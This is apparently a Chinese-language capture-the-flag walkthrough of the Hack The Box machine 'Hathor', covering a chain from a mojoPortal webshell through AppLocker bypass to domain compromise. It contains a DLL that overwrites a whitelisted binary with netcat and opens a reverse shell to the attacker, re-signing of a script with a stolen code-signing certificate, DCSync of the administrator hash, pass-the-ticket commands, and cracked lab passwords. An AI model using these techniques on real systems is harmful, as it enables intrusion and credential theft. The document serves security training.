基本信息

端口扫描

80和常规windows域端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
$ nmap -sC -sV -Pn 10.10.11.147
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-21 12:27 CST
Nmap scan report for 10.10.11.147
Host is up (0.19s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 29 disallowed entries (15 shown)
| /CaptchaImage.ashx* /Admin/ /App_Browsers/ /App_Code/
| /App_Data/ /App_Themes/ /bin/ /Blog/ViewCategory.aspx$
| /Blog/ViewArchive.aspx$ /Data/SiteImages/emoticons /MyPage.aspx
|_/MyPage.aspx$ /MyPage.aspx* /NeatHtml/ /NeatUpload/
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Home - mojoPortal
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-11-21 04:29:39Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-11-21T04:31:01+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:<unsupported>, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after: 2023-03-18T07:51:40
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-11-21T04:31:01+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:<unsupported>, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after: 2023-03-18T07:51:40
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-11-21T04:31:02+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:<unsupported>, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after: 2023-03-18T07:51:40
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:<unsupported>, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after: 2023-03-18T07:51:40
|_ssl-date: 2022-11-21T04:31:01+00:00; +1s from scanner time.
Service Info: Host: HATHOR; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-11-21T04:30:26
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 184.70 seconds

80

一个mojoPortal:

mojoPortal

默认账号密码登录:

Administration -> System Information中得到版本信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mojoPortal Version 2.7.0.0 MSSQL
Feature Versions
Feature Schema Version
blog 2.6.1.9
contactform 0.0.0.6
eventcalendar 0.0.0.6
feed-manager 1.0.1.1
forums 2.2.0.5
imagegallery 0.0.0.8
kdmediaplayer 1.0.0.1
linksmodule 1.0.0.9
pollfeature-byChristianFredh 0.0.0.5
sharedfiles 1.1.0.0
superflexi 0.0.1.7
surveyfeature 1.9.0.0

webshell

github issue中找到相关漏洞,用于获取webshell:

有一点区别就是,issue里是重命名成aspx,这里是复制成aspx文件

路径可以直接在首页根据图片路径得到:

Firewall and AppLocker

webshell执行命令会发现存在限制,查看防火墙和AppLocker设置:

1
2
3
powershell.exe -c "Get-NetFirewallRule -PolicyStore ActiveStore | where { $_.Action -eq \"Block\" }"

powershell.exe -c "Get-AppLockerPolicy -Effective -Xml"

AppLocker 规则

  • Appx - 签名
  • dll
    • Microsoft签名
    • 在Program Files 和 Windows目录中
    • 由admin组运行
    • C:\share\scripts\7-zip64.dll或者C:\Get-bADpasswords\PSI\Psi_x64.dll
  • exe
    • 明确阻止已知的AppLocker 绕过甚至包括由 Microsoft 签名MSDT.exe,PRESENTATIONHOST.exeMSHTA.exe,`MSBUILD.exe``INSTALLUTIL.exe
    • 允许由 administrator@windcorp.com、AutoIt 或 Microsoft 签名(如果不在上面)
    • 显式阻止已知路径,如%SYSTEM#2%\Tasks:*%SYSTEM32%\regvr32%SYSTEM32%\spool\drivers\color:*等。
    • 在 Program Files 和 Windows 文件夹中
    • 由admin组运行
    • C:\share\Bginfo64.exe
  • msi
    • 签名
    • C:\Windows\Installer目录中
    • 由admin组运行
  • scripts

Get-bADpasswords

枚举目录文件,C盘发现Get-bADpasswords目录,里面一些文件:

这里是一个副本

run.vbs不是那个 repo 的一部分,查看这个文件,获得有效签名:

Get-bADpasswords.ps1在脚本的顶部有一个配置部分:

1
2
3
4
5
6
7
8
...
$log_filename = ".\Accessible\Logs\log_$domain_name-$current_timestamp.txt"
$csv_filename = ".\Accessible\CSVs\exported_$domain_name-$current_timestamp.csv"

$write_to_log_file = $true
$write_to_csv_file = $true
$write_hash_to_logs = $true
...

$write_hash_to_logs很有趣,因为它暗示它可能正在记录错误的密码。

Accessible\CSVs

继续查看Accessible\CVSs目录,在其中最新的一个文件中BeatriceMill用户的hash,破解出来密码:

1
2
3
4
5
6
7
type c:\Get-bADpasswords\Accessible\CSVs\exported_windcorp-13102022-210946.csv

Activity;Password Type;Account Type;Account Name;Account SID;Account password hash;Present in password list(s)
active;weak;regular;BeatriceMill;S-1-5-21-3783586571-2109290616-3725730865-5992;9cb01504ba0247ad5c6e08f7ccae7903;'leaked-passwords-v7'

# 明文
!!!!ilovegood17

run.vbs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
Set WshShell = CreateObject("WScript.Shell")
Command = "eventcreate /T Information /ID 444 /L Application /D " & _
Chr(34) & "Check passwords" & Chr(34)
WshShell.Run Command
'' SIG '' Begin signature block
'' SIG '' MIIIkgYJKoZIhvcNAQcCoIIIgzCCCH8CAQExDzANBglg
'' SIG '' hkgBZQMEAgEFADB3BgorBgEEAYI3AgEEoGkwZzAyBgor
'' SIG '' BgEEAYI3AgEeMCQCAQEEEE7wKRaZJ7VNj+Ws4Q8X66sC
'' SIG '' AQACAQACAQACAQACAQAwMTANBglghkgBZQMEAgEFAAQg
'' SIG '' V4iIgvjS/tzbdg7yzPOhQtBxr63sSQYGiJME4+J1oz6g
'' SIG '' ggXTMIIFzzCCBLegAwIBAgITIAAAAAdbcJwdN1cU7gAA
'' SIG '' AAAABzANBgkqhkiG9w0BAQsFADBOMRMwEQYKCZImiZPy
'' SIG '' LGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYId2luZGNv
'' SIG '' cnAxHTAbBgNVBAMTFHdpbmRjb3JwLUhBVEhPUi1DQS0x
'' SIG '' MB4XDTIyMTAxMjE4MzAyM1oXDTMyMTAwOTE4MzAyM1ow
'' SIG '' VzETMBEGCgmSJomT8ixkARkWA2h0YjEYMBYGCgmSJomT
'' SIG '' 8ixkARkWCHdpbmRjb3JwMQ4wDAYDVQQDEwVVc2VyczEW
'' SIG '' MBQGA1UEAxMNQWRtaW5pc3RyYXRvcjCCASIwDQYJKoZI
'' SIG '' hvcNAQEBBQADggEPADCCAQoCggEBAOCsWmgMuC3A7kFR
'' SIG '' SV3ThIJHkRW+wg/h+YsgV4SLZ6fE8D1rZBx0MTLaNt8g
'' SIG '' xyRiQNDCXRqERx1i3QpCjAbVWDEH7Kf4OTNVGMNg1QUL
'' SIG '' JUi7nkB42SGVFW3Bs8sVzOC7p60dNs0YoDpX6thYNUje
'' SIG '' AGm/UEHd/EiMf512l0ND01rh+HieEQR4p76OR1+qel3+
'' SIG '' W9+J0RWybE90EAwxFlD6wnig0JyVimnWw0/8ZJ/pJtlg
'' SIG '' QGGNX0WlebyC5RgwCfw2Edbm4LtqQ8vFKPk1G1SIniJn
'' SIG '' A1pYhoMV5wi9QeZhH+FHgL+JHTzqcmxWhh6AuqZ2OEoN
'' SIG '' EfUmmzPSeGtKK1UDFSUCAwEAAaOCApswggKXMD0GCSsG
'' SIG '' AQQBgjcVBwQwMC4GJisGAQQBgjcVCILUznCD1qdohvWR
'' SIG '' EYToiS+G+41kgSqBkDyC69BtAgFlAgEAMBMGA1UdJQQM
'' SIG '' MAoGCCsGAQUFBwMDMA4GA1UdDwEB/wQEAwIHgDAbBgkr
'' SIG '' BgEEAYI3FQoEDjAMMAoGCCsGAQUFBwMDMB0GA1UdDgQW
'' SIG '' BBSRtmNDqnEAXEVStyjbKqzLwRyUgzAfBgNVHSMEGDAW
'' SIG '' gBTxjkqkbc2CsGldYvNjmn6LbnL2WTCB0gYDVR0fBIHK
'' SIG '' MIHHMIHEoIHBoIG+hoG7bGRhcDovLy9DTj13aW5kY29y
'' SIG '' cC1IQVRIT1ItQ0EtMSxDTj1oYXRob3IsQ049Q0RQLENO
'' SIG '' PVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZp
'' SIG '' Y2VzLENOPUNvbmZpZ3VyYXRpb24sREM9d2luZGNvcnAs
'' SIG '' REM9aHRiP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/
'' SIG '' YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Q
'' SIG '' b2ludDCBxwYIKwYBBQUHAQEEgbowgbcwgbQGCCsGAQUF
'' SIG '' BzAChoGnbGRhcDovLy9DTj13aW5kY29ycC1IQVRIT1It
'' SIG '' Q0EtMSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2Vy
'' SIG '' dmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlv
'' SIG '' bixEQz13aW5kY29ycCxEQz1odGI/Y0FDZXJ0aWZpY2F0
'' SIG '' ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25B
'' SIG '' dXRob3JpdHkwNQYDVR0RBC4wLKAqBgorBgEEAYI3FAID
'' SIG '' oBwMGmFkbWluaXN0cmF0b3JAd2luZGNvcnAuaHRiMA0G
'' SIG '' CSqGSIb3DQEBCwUAA4IBAQAbp0/YFh2yKjHp2+vaPfOQ
'' SIG '' t8bUtjIuiBDfXckT/a7+ym1UI+x38RIg+Uey77Ww9Oxy
'' SIG '' Yg/xPQTU/JC+QNZTtDefWDknn/oXvL2QT/z9ox8vIOw6
'' SIG '' TkCS2pdMAv6R27J1J3ba5Rhb1lAbIo++32ZnQbNWwAa7
'' SIG '' DQcymBRy1o6L/jY0FFqY5aQcAcCoYm9S+FKivuQLu0eL
'' SIG '' x3PuuviDtsWqO6qYwWSfkCOYGRzdVTgD/hUOC1GYMsRl
'' SIG '' NFNbQKSDtZbcvkWPIZsa9Nww1FYUWOh5YiILwnyayuCr
'' SIG '' pTVvmxla555SGRMLaCz6IMPevqXuhOGb+W/P/gAaop7d
'' SIG '' d0VbnbPOfQTfMYICFzCCAhMCAQEwZTBOMRMwEQYKCZIm
'' SIG '' iZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYId2lu
'' SIG '' ZGNvcnAxHTAbBgNVBAMTFHdpbmRjb3JwLUhBVEhPUi1D
'' SIG '' QS0xAhMgAAAAB1twnB03VxTuAAAAAAAHMA0GCWCGSAFl
'' SIG '' AwQCAQUAoIGEMBgGCisGAQQBgjcCAQwxCjAIoAKAAKEC
'' SIG '' gAAwGQYJKoZIhvcNAQkDMQwGCisGAQQBgjcCAQQwHAYK
'' SIG '' KwYBBAGCNwIBCzEOMAwGCisGAQQBgjcCARUwLwYJKoZI
'' SIG '' hvcNAQkEMSIEIMAMrS4wO7Di3pqZtBcXNwHEE7EmF+k2
'' SIG '' G6qrSRH1n28EMA0GCSqGSIb3DQEBAQUABIIBANNeMMbj
'' SIG '' vGfNxmTbdqaeieDzad1W9KRj5aqQXOZjlM+pmmYvY+HG
'' SIG '' SziQXTPxjiH2GmxHEky11VoM7A0YSgRhhDxRgoF6zYVg
'' SIG '' ZQA+unmOZYg8Eas8azZkoEVD7e6119dqev6P5rpN+v7i
'' SIG '' jjTCd0A8yyfY0P1x064sBd+G8mv0WerKyTf+Tk7m7HmJ
'' SIG '' aU/U6guhCvE5ipk/3or0oT509OeDDqKijeL3wkIN+YGs
'' SIG '' tM0sIX9xzrCdC3pUCznVu/16+8qCNF11kROH9UI5WNxW
'' SIG '' nIc54rkc71MzZup+N0L5cxTDKnmUDW99XRcjwNeRGQdx
'' SIG '' lQgfLUl5qzTK6aRKc/nPVHD+yyQ=
'' SIG '' End signature block

SMB

直接使用密码会发现NTLM被禁用,需要通过kerberos方式:

首先修改hosts:

1
10.10.11.147 hathor.windcorp.htb

修改配置文件,使用账号密码请求ticket,使用ticket继续去枚举smb:

1
2
3
4
5
kinit beatricemill
klist
smbclient -L //hathor.windcorp.htb -U beatricemill@windcorp.htb -N -k
# or
crackmapexec smb hathor.windcorp.htb -k -d windcorp.htb -u beatricemill -p '!!!!ilovegood17' --shares

Share

share目录下发现AutoIt.exe和Bginfo64.exe,AutoIt.exe被applocker阻止,Bginfo64.exe是被允许的

share/scripts目录下是一个7Zip库和一堆AutoIt脚本,7-zip64.dll也在applocker的白名单中

1
2
smbclient //hathor.windcorp.htb/share -U beatricemill@windcorp.htb -N -k 
smbclient //hathor.windcorp.htb/scripts -U beatricemill@windcorp.htb -N -k

/etc/krb5.conf

1
2
3
4
5
6
7
8
9
[libdefaults]   
default_realm = WINDCORP.HTB
fcc-mit-ticketflags = true

[realms]
WINDCORP.HTB = {
kdc = HATHOR.WINDCORP.HTB
admin_server = HATHOR.WINDCORP.HTB
}

7-zip64.dll

枚举发现share目录下两个exe定时运行,其中AutoIt3_x64.exe的一个脚本7Zip.au3中调用了7-zip64.dll,我们可以通过smb覆盖dll来达到任意命令执行目的

1
FOR /L %i IN (0,1,1000) DO (tasklist /FI "imagename eq Bginfo64.exe" | findstr /v "No tasks" & tasklist /FI "imagename eq AutoIt3_x64.exe" | findstr /v "No tasks"  & ping -n 2 127.0.0.1 > NUL )

enum

(这里开始就在云了)

这里因为存在杀软,需要自己写dll,通过dll的执行去进一步枚举信息,发现是GinaWild用户权限在定时运行exe,他是 ITDep 和 Protected Users 组的成员:

另一方遍,Bginfo64.exe。用户只能读/执行,但ITDep也可以写owner( WO),也就是说ginawild可以改变owner

战略

这里是0xdf的原文:

Bginfo64.exe未被防火墙阻止,并且即使未从该路径签名,它也会在 AppLocker 中列入白名单以运行。我可以以 GinaWild 的身份运行 Dll,GinaWild 可以取得 Bginfo64.exe的所有权,然后对其进行修改。

我将制作一个新的 Dll 来:

  • 拥有Bginfo64.exe.
  • 更新权限,以便 GinaWild 具有完全控制权。
  • nc64.exe我之前上传的复制到web目录下Bginfo64.exe
  • 调用nc64.exe以使用反向 shell 连接回我。

代码大概这样:

1
2
3
4
5
case DLL_PROCESS_ATTACH:
system("cmd.exe /c takeown /F C:\\share\\Bginfo64.exe");
system("cmd.exe /c cacls C:\\share\\Bginfo64.exe /E /G ginawild:F");
system("cmd.exe /c copy C:\\inetpub\\wwwroot\\data\\sites\\1\\media\\nc64.exe C:\\share\\Bginfo64.exe");
system("cmd.exe /c C:\\share\\Bginfo64.exe -e cmd 10.10.14.6 9003");

GinaWild & user flag

执行后得到GinaWild shell和user flag

信息

发现桌面一个快捷方式指向之前那个vbs

1
2
c:\Users\Public\Desktop>powershell -c "$sh = New-Object -ComObject WScript.Shell; $sh.CreateShortcut('.\bAD Passwords.lnk').TargetPath"
C:\Get-bADpasswords\run.vbs

GinaWild 的回收站中有文件,GinaWild 的 SID 以-2663结尾,回收站中查看发现3个证书文件:

1
2
3
4
5
6
7
8
9
10
11
c:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663>dir
Volume in drive C has no label.
Volume Serial Number is BE61-D5E0

Directory of c:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663

10/12/2022 08:26 PM 98 $IZIX7VV.pfx
03/21/2022 03:37 PM 4,053 $RLYS3KF.pfx
10/12/2022 07:43 PM 4,280 $RZIX7VV.pfx
3 File(s) 8,431 bytes
0 Dir(s) 9,232,101,376 bytes free

元数据文件是二进制格式,但我可以看到以前文件名的字符串:

1
2
c:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663>type $IZIX7VV.pfx
ўp#C:\Users\GinaWild\Desktop\cert.pfx

访问证书

将3个证书文件复制到smb,下载下来查看,需要密码,破解出来证书密码:

1
2
3
4
5
6
7
8
9
10
c:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663>copy * \share\


crackpkcs12 -d /usr/share/wordlists/rockyou.txt \$RLYS3KF.pfx

abceasyas123

crackpkcs12 -d /usr/share/wordlists/rockyou.txt \$RZIX7VV.pfx

whysoeasy?

然后使用密码提取证书:

1
2
3
openssl pkcs12 -info -in \$RLYS3KF.pfx -noout
openssl pkcs12 -in \$RLYS3KF.pfx -out cert.pem -nokeys
openssl x509 -in cert.pem -noout -text

关键信息:

  • subject是DC = htb, DC = windcorp, CN = Users, CN = Administrator。这与上面 Exe(未显示)和脚本的 AppLocker 数据中的内容相匹配:
  • 该证书用于代码签名:

Get-bADpasswords

Get-bADpasswords脚本必须有权访问域密码才能完成它的工作,因此它很可能以某种特权用户身份运行。我知道它运行C:\Get-bADpasswords.ps1脚本,该脚本已签名,因此它将运行。我知道可以访问签名密钥,所以理论上我可以修改脚本并执行

我将复制Get-bADpasswords.ps1到 SMB 共享以获取它的副本。我必须更改.ps1从该文件夹中阻止的扩展名:

1
copy Get-bADpasswords.ps1 \share\gbp.txt

我将下载脚本,并在顶部添加一行,打印有关运行脚本的用户的详细信息:

1
whoami /all > C:\Programdata\0xdf.txt

现在我需要签署脚本,因为修改它会使旧签名无效。我将首先将证书导入我的用户的证书存储区并获取对它的引用$cert

1
2
3
4
5
PS C:\> $pass = ConvertTo-SecureString -String 'abceasyas123' -AsPlainText -Force

PS C:\get-badpasswords> $cert = Import-PfxCertificate -FilePath 'C:\$Recycle.bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx' -Password $pass -CertStoreLocation Cert:\CurrentUser\My

PS C:\get-badpasswords> $cert

现在我可以用它来签署文件了:

1
PS C:\get-badpasswords> Set-AuthenticodeSignature .\Get-bADpasswords.ps1 $cert

要触发执行,我将运行run.vbs

1
PS C:\get-badpasswords> cscript .\run.vbs

现在有一个文件C:\programdata,它显示用户不是域管理员,而是 bpassrunner:

1
2
3
4
5
6
7
8
9
10
PS C:\programdata> cat 0xdf.txt

USER INFORMATION
----------------

User Name SID
==================== ===============================================
windcorp\bpassrunner S-1-5-21-3783586571-2109290616-3725730865-10102

...[snip]...

bpassrunner

我花了一点时间才弄清楚如何将它变成一个 shell。我不能只nc64.exe从 Web 目录调用,因为它不会通过 AppLocker。我不能使用 PowerShell,因为即使我可以对其进行签名并且它会运行,防火墙也会阻止出站连接。

然后我意识到我可以尝试覆盖bginfo64.exenc64.exe从那里运行它。尝试这样做时,它失败了,因为该文件仍在使用中——我当前的 shell!这意味着它实际上是静止的nc64.exe

我会将脚本本地副本的顶部更新为:

1
C:\share\Bginfo64.exe -e cmd 10.10.14.6 9004

我将上传它、签名并触发它。大约 15 秒后,我得到一个 shell

1
2
C:\Get-bADpasswords>whoami
windcorp\bpassrunner

提权信息

Get-bADpasswords GitHub README说运行它:

需要“域管理员”权限或类似权限,例如“域控制器”或“复制目录更改”和“复制目录更改全部”的委派域级权限,才能成功从 Active Directory 数据库中获取密码。

这意味着该用户应该能够运行 DCSync 攻击。

dcsync

这实际上很容易从 shell 中作为具有权限的用户使用Get-ADReplAccount

1
2
3
Get-ADReplAccount -SamAccountName administrator -Server 'hathor.windcorp.htb'

NTHash: b3ff8d7532eef396a5347ed33933030f

如果由于某种原因我无法获得 shell,我仍然可以通过脚本注入来完成此操作。我会将以下三行添加到我的本地副本的开头Get-bADpasswords.ps1

1
2
3
Start-Transcript -Path 'C:\Programdata\0xdf-transcript.txt'
Get-ADReplAccount -SamAccountName administrator -Server 'hathor.windcorp.htb'
Stop-Transcript

提权 & root flag

现在我们有Administrator的hash,仍然需要通过kerberos方式:

Kerberos 授权

1
2
3
4
5
6
7
8
9
└─$ ktutil
ktutil: add_entry -p administrator@WINDCORP.HTB -k 1 -key -e rc4-hmac
Key for administrator@WINDCORP.HTB (hex): b3ff8d7532eef396a5347ed33933030f
ktutil: write_kt administrator.keytab
ktutil: exit

kinit -V -k -t administrator.keytab -f administrator@WINDCORP.HTB

klist

也可以使用impacket的getTGT来通过hash获取票据:

1
getTGT.py -hashes :b3ff8d7532eef396a5347ed33933030f windcorp.htb/administrator

shell

得到票据之后,即可任意可用方式获得shell:

1
2
3
4
5
6
evil-winrm -i hathor.windcorp.htb -r WINDCORP.HTB

# or
KRB5CCNAME=./administrator.ccache evil-winrm -i hathor.windcorp.htb -r WINDCORP.HTB

KRB5CCNAME=./administrator.ccache wmiexec.py windcorp.htb/administrator@hathor.windcorp.htb -k -no-pass

flags

1
2
type C:\Users\GinaWild\desktop\user.txt
type C:\Users\Administrator\desktop\root.txt

参考资料